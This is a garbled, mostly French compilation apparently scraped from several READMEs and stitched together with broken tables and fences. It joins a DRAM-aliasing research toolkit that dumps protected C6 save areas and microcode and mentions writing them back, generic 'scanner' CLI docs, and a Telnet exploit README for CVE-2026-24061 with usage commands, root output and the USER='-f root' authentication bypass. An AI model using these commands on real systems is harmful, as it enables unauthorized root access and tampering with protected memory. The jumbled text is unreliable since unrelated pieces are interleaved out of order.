# Resolve the C6 stash — sets CC6_BASE / CC6_SIZE (0x7f000000 / 0x800000 on the
# test box). Each idle core's state lives in a 16 KiB save area; four cores
# here, at CC6_BASE + {0, 0x4000, 0x8000, 0xc000}.
eval "$(sudo ./userspace/dram_carveouts --region cc6)"
sudo ./userspace/dram_dump --protected-pa $CC6_BASE --length 0x10000 \
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > cc6.bin
# For example, on this platform IA32_APIC_BASE sits at +0x9b8 in each area.
# Read it from all four cores straight out of the stash:
for c in 0 1 2 3; do
printf 'core %d ' $c
hexdump -C -s $(( c*0x4000 + 0x9b8 )) -n 8 cc6.bin | head -1
done
| -s | --server | SERVER | http://localhost:8080 | URL du serveur cible |
| -t | --token | TOKEN | - | Jeton d'authentification |
| -o | --output | FILE | stdout | Fichier de sortie |
| -f | --format | FORMAT | json | Format de sortie (json, yaml, csv) |
| -v | | - | | Activer la sortie détaillée |
| | | - | | Supprimer toute la sortie non essentielle |
| | - | | | Délai d'expiration de la requête en secondes |
| | - | | | Nombre de tentatives en cas d'échec |
| | - | - | | Ignorer la vérification du certificat TLS |
# Interroger le serveur avec les paramètres par défaut
scanner --server http://localhost:8080
# S'authentifier avec un jeton et enregistrer la sortie au format JSON
scanner -s https://api.example.com -t "your-token-here" -o results.json
# Activer la sortie détaillée et augmenter le délai d'expiration
scanner -v --timeout 60 --retry 5
# Ignorer la vérification TLS pour les environnements de test
scanner --insecure -s https://staging.example.com
Le scanner peut être configuré à l'aide d'un fichier de configuration YAML. Par défaut, il recherche un fichier nommé scanner.yaml dans le répertoire courant, puis dans $HOME/.config/scanner/config.yaml.
server: http://localhost:8080
token: your-token-here
timeout: 30
retry: 3
insecure: false
log_level: info
output:
format: json
file: results.json
Les valeurs de configuration sont résolues dans l'ordre de priorité suivant :
Un cœur avec le bit BSP activé, trois sans — le processeur d'amorçage et ses trois
AP, surpris en pleine inactivité avec leur état de registres exposé au grand jour.
Plus vous fouillez, plus vous découvrirez de registres CPU :
| offset | état x86 | valeur du cœur 0 |
|---|---|---|
| `+0x8b0` | GS / base par CPU | `0xffff9be4e3600000` |
| `+0x9a0` | CR3 (racine de table de pages) | `0x0fd46000` |
| `+0x9b8` | IA32_APIC_BASE | `0xfee00900` |
| `+0xa38` | MTRR variable (base/masque) | `0x6f000000 / …0800` |
| `+0xb10` | RIP sauvegardé | `0xffffffff8f3a0029` |
Bien sûr, ces registres sont de toute façon accessibles depuis le ring-0. La
partie *amusante* réside dans tout cet *autre* état CPU qui traîne là — en fouillant
les registres CPU internes que le ring-0 ne peut pas atteindre.
---
## Démarrage rapide : déverrouillez votre microcode CPU
> *Qu'est-ce qui pourrait mal tourner ?*
Lorsqu'un cœur passe en C6, sa RAM de correctif microcode — une SRAM volatile — s'éteint avec
le reste du cœur. Ainsi, la réserve C6 conserve le correctif chargé en DRAM et le réinjecte
au réveil. Cette copie se trouve à `+0x1800` dans chaque zone de sauvegarde, et
l'alias y accède comme n'importe quel autre octet.
Récupérez la copie du microcode que le CPU a dissimulée dans la DRAM protégée :```sh
./userspace/platform_check || exit 1
eval "$(sudo ./userspace/dram_carveouts --region cc6)"
# page 1 of core 0's save area is the live microcode patch body
sudo ./userspace/dram_dump --protected-pa $((CC6_BASE + 0x1800)) --length 0x5f0 \
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > ucode_ram.bin
Comparez-le aux correctifs connus :```sh
python3 - <<'EOF' ram = open("ucode_ram.bin", "rb").read() chunks = [ram[i:i+16] for i in range(0, len(ram)-16, 16) if ram[i:i+16].count(0) <= 12] for fam in (15, 16, 17, 19): uc = open(f"/lib/firmware/amd-ucode/microcode_amd_fam{fam}h.bin", "rb").read() print(f"fam{fam}h: {sum(c in uc for c in chunks):2}/{len(chunks)} chunks match") EOF
C'est bon signe :```text
fam15h: 0/94 chunks match
fam16h: 68/94 chunks match <- the microcode the core is running
fam17h: 0/94 chunks match
fam19h: 0/94 chunks match
Extrayez les triades ucode :```sh od -Ax -tx1 -w20 ucode_ram.bin
## Utilisation
```text
python3 CVE-2026-24061.py -u <target_url> -c <command>
# Exécuter la commande id sur la cible
python3 CVE-2026-24061.py -u telnet://192.168.1.100:23 -c "id"
# Exécuter une commande avec un délai d'attente personnalisé
python3 CVE-2026-24061.py -u telnet://192.168.1.100:23 -c "uname -a" -t 15
# Activer la sortie détaillée
python3 CVE-2026-24061.py -u telnet://192.168.1.100:23 -c "whoami" -v
L'outil affiche :
[*] Target: telnet://192.168.1.100:23
[*] Command: id
[*] Connecting to target...
[+] Connected successfully
[*] Sending exploit payload...
[+] Exploit sent successfully
[*] Command output:
uid=0(root) gid=0(root) groups=0(root)
[*] Exploitation completed
USER définie sur -f rootLa vulnérabilité existe parce que le service Telnet ne valide pas correctement la variable d'environnement USER avant de l'utiliser dans les opérations d'authentification. En définissant USER=-f root, un attaquant peut contourner l'authentification et obtenir un accès root.
Une exploitation réussie permet à un attaquant d'exécuter des commandes arbitraires avec les privilèges root sur le système cible, entraînant une compromission totale.
USER=-f root dans les journauxCet outil est fourni à des fins éducatives et de tests de sécurité uniquement. L'utilisation de cet outil contre des systèmes sans autorisation écrite préalable est illégale et contraire à l'éthique. Les auteurs ne sont pas responsables de toute utilisation abusive ou de tout dommage causé par cet outil.
Ce projet est sous licence MIT - voir le fichier LICENSE pour plus de détails.
Kitploit
Avertissement : Cet outil est destiné à des fins de tests de sécurité et de recherche uniquement. Utilisez-le de manière responsable et uniquement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite.```text 000000 c1 df db eb 28 ac 06 00 f5 ff ff 00 e1 1d 0a f9 ff ef ff 2a 000014 e0 8f 2a c7 ff bf 07 00 ff ff bf 2a e0 1f e0 e7 78 df 7d c0 000028 ff ff cf bf 4c 20 06 00 cf 53 39 00 c0 df db eb fe ff ff 27 [...] 000370 e1 1f c0 bf ff bf 07 00 ff 81 7f 00 e1 1f c0 bf ff 81 7f 00 * 0005f0
Et voilà, des uops distincts en haut, un remplissage NOP qui se répète en dessous.
À partir de là, `dram_dump` a un outil frère, `dram_poke`. Le même alias qui a lu le patch peut l'écrire — et cette copie est celle que le cœur recharge en sortant de l'état d'inactivité.
Ce que vous faites ensuite dépend de votre imagination.
---
## Build```
make # builds kernel/spaghettify.ko and all userspace tools
make clean
Exécuter en tant que root. Détails complets dans USAGE.md.
dram_readLecture simple depuis une adresse mémoire protégée.
Poussez les bascules --do-swizzle / --do-bankswap dans le contrôleur DRAM pour
entrer dans la vue mémoire spaghettifiée, lisez un dword depuis l'adresse physique
<pa>, restaurez les bits DCT, et retournez la valeur.```
dram_read
--pa
--do-swizzle <0|1>
--do-bankswap <0|1>
### `dram_poke`
Écrire dans une plage mémoire protégée.
Chaque `--map` est une spaghettification résolue issue de `unspaghettify.py --save-map`,
elle-même alimentée par les paires d'alias collectées par `gather_aliases.py` ; l'alias pour chaque
dword dans la plage protégée est récupéré à partir de la map via un pseudo-inverse
GF(2) calculé une fois au démarrage. Passez plusieurs maps — une par
`(at_swizzle, at_bankswap)` collectée sur le même matériel — pour élargir la couverture,
puisque chaque spaghettification laisse un ensemble différent de trous de rang déficient et
la première map qui atteint un dword donné l'emporte.```
dram_poke
[--dangerously-skip-calibration]
[--calibrate-pa <hex>]
[--strict-holes]
[--no-verify]
[--ignore-fw-mismatch]
[--fenced-range <lo>,<hi>]
[--allow-fenced-alias]
-s, --protected-pa <pa>
-l, --length <n>
--map <file> [--map <file>]...
< in.bin
dram_dumpLire depuis une plage mémoire protégée.
Même mécanisme --map que dram_poke : chaque map est une spaghettification résolue
depuis unspaghettify.py --save-map, l'alias de chaque dword est récupéré via
un pseudo-inverse GF(2) à usage unique, et plusieurs maps collectées à différents
(at_swizzle, at_bankswap) élargissent la couverture là où les trous de rang déficient d'une map sont comblés par ceux d'une autre.```
dram_dump
[--dangerously-skip-calibration]
[--calibrate-pa ]
[--dry-run]
[--ignore-fw-mismatch]
[--fenced-range ,]
[--allow-fenced-alias]
-s, --protected-pa
-l, --length
--map [--map ]...
La chaîne d'outils complète — `dram_state`, `dram_carveouts` et `dram_alias` ; le pipeline d'analyse `gather_aliases.py` / `unspaghettify.py` ; des exemples de bout en bout ; et les rouages internes — est documentée dans **[USAGE.md](https://github.com/xoreaxeaxeax/skitter-creek-bath-salts/blob/main/USAGE.md)**.
---
## Le pipeline partagé
`skitter-creek-bath-salts` explore comment les étapes finales des transformations MCT/DCT peuvent faire s'effondrer la sécurité de tout ce qui est construit au-dessus. L'exploit démontré ici est un registre de configuration sur AMD Family 16h, choisi parce que les fiches techniques fournissaient suffisamment d'éléments pour commencer. Le *pipeline* qu'il a brisé est partout.
Entrelacement de canaux, entrelacement de rangs, entrelacement de bancs, swizzle, normalisation des chip-selects — chaque contrôleur mémoire moderne fait une version de tout cela. AMD. Intel. ARM. RISC-V. Mobile. Serveur. Embarqué. La même forme architecturale se trouve sous-jacente à tout.
*Au-dessus* de tout cela se trouvent SEV, SGX, TDX, TrustZone, les realms CCA, pKVM, CoVE, SEP, le PSP, ME, T-SEG, SMRAM, le stash C6. Tout ce qui réside dans la DRAM — même ce qui est cloisonné et invisible au ring-0 ou au CPU lui-même — repose sur les couches finales d'un pipeline `*p` que nous n'avons fait que commencer à explorer.
---
## Références
* Black Hat 2026 — Spaghettifying DRAM (Bientôt disponible)
---
## Auteur
`skitter-creek-bath-salts` est un travail de recherche de Christopher Domas ([@xoreaxeaxeax](https://x.com/xoreaxeaxeax/))
---

---
| Code | Signification |
|---|
| 0 | Succès |
| 1 | Erreur générale |
| 2 | Mauvaise utilisation de la ligne de commande |
| 3 | Erreur de configuration |
| 4 | Erreur d'authentification |
| 5 | Erreur réseau |
| 6 | Délai d'attente dépassé |
| 7 | Ressource non trouvée |
| 8 | Permission refusée |
| 9 | Conflit de verrouillage |
| 10 | Opération annulée |
--verbosefalse-q--quietfalse--timeoutSECONDS30--retryCOUNT3--insecurefalse| Variable | Description | Valeur par défaut |
|---|
SCANNER_SERVER | URL du serveur cible | http://localhost:8080 |
SCANNER_TOKEN | Jeton d'authentification | - |
SCANNER_TIMEOUT | Délai d'expiration de la requête en secondes | 30 |
SCANNER_RETRY | Nombre de tentatives en cas d'échec | 3 |
SCANNER_INSECURE | Ignorer la vérification du certificat TLS | false |
SCANNER_LOG_LEVEL | Niveau de journalisation (debug, info, warn, error) | info |
| Code | Signification |
|---|
0 | Succès |
1 | Erreur générale |
2 | Arguments de ligne de commande invalides |
3 | Échec de l'authentification |
4 | Délai d'expiration de la requête dépassé |
5 | Serveur cible inaccessible |
| Argument | Description |
|---|
-u, --url | URL cible (par exemple, telnet://192.168.1.100:23) |
-c, --command | Commande à exécuter sur la cible |
-t, --timeout | Délai de connexion en secondes (par défaut : 10) |
-v, --verbose | Activer la sortie détaillée |